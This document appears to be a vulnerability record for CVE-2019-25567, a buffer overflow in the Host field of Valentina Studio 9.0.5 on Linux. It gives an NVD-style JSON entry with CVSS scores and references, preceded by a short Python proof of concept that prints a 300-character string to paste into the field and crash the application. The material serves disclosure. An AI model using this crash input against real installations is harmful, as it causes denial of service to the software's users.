CVE-2019-25567

#!/usr/bin/env python3 # PoC for CVE-2019-25567 # Description: Triggers buffer overflow in Valentina Studio Host field payload = "A" * 300 # Payload size > 264 bytes print("Copy and paste the following string into the Host field:") print(payload)

{"cve": {"id": "CVE-2019-25567", "sourceIdentifier": "[email protected]", "published": "2026-03-21T13:16:20.277", "lastModified": "2026-04-16T18:12:51.933", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Valentina Studio 9.0.5 Linux contains a buffer overflow vulnerability in the Host field of the connection dialog that allows local attackers to crash the application by supplying an oversized input string. Attackers can trigger the vulnerability by pasting a crafted buffer exceeding 264 bytes into the Host field during server connection attempts, causing a denial of service."}, {"lang": "es", "value": "Valentina Studio 9.0.5 Linux contiene una vulnerabilidad de desbordamiento de búfer en el campo Host del diálogo de conexión que permite a atacantes locales bloquear la aplicación al proporcionar una cadena de entrada sobredimensionada. Los atacantes pueden activar la vulnerabilidad al pegar un búfer manipulado que exceda los 264 bytes en el campo Host durante los intentos de conexión al servidor, causando una denegación de servicio."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.2, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:valentina-db:studio:9.0.5:*:*:*:*:*:*:*", "matchCriteriaId": "E37C2526-A8BF-4082-9954-C9946ADED787"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:x64:*", "matchCriteriaId": "71BFBE5F-56EB-45C9-B558-FC4D7CEA345A"}]}]}], "references": [{"url": "https://valentina-db.com/en/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.exploit-db.com/exploits/46439", "source": "[email protected]", "tags": ["Exploit", "VDB Entry"]}, {"url": "https://www.valentina-db.com/en/all-downloads/vstudio/current/vstudio_x64_lin-deb?format=raw", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://www.vulncheck.com/advisories/valentina-studio-linux-buffer-overflow-via-host-field", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}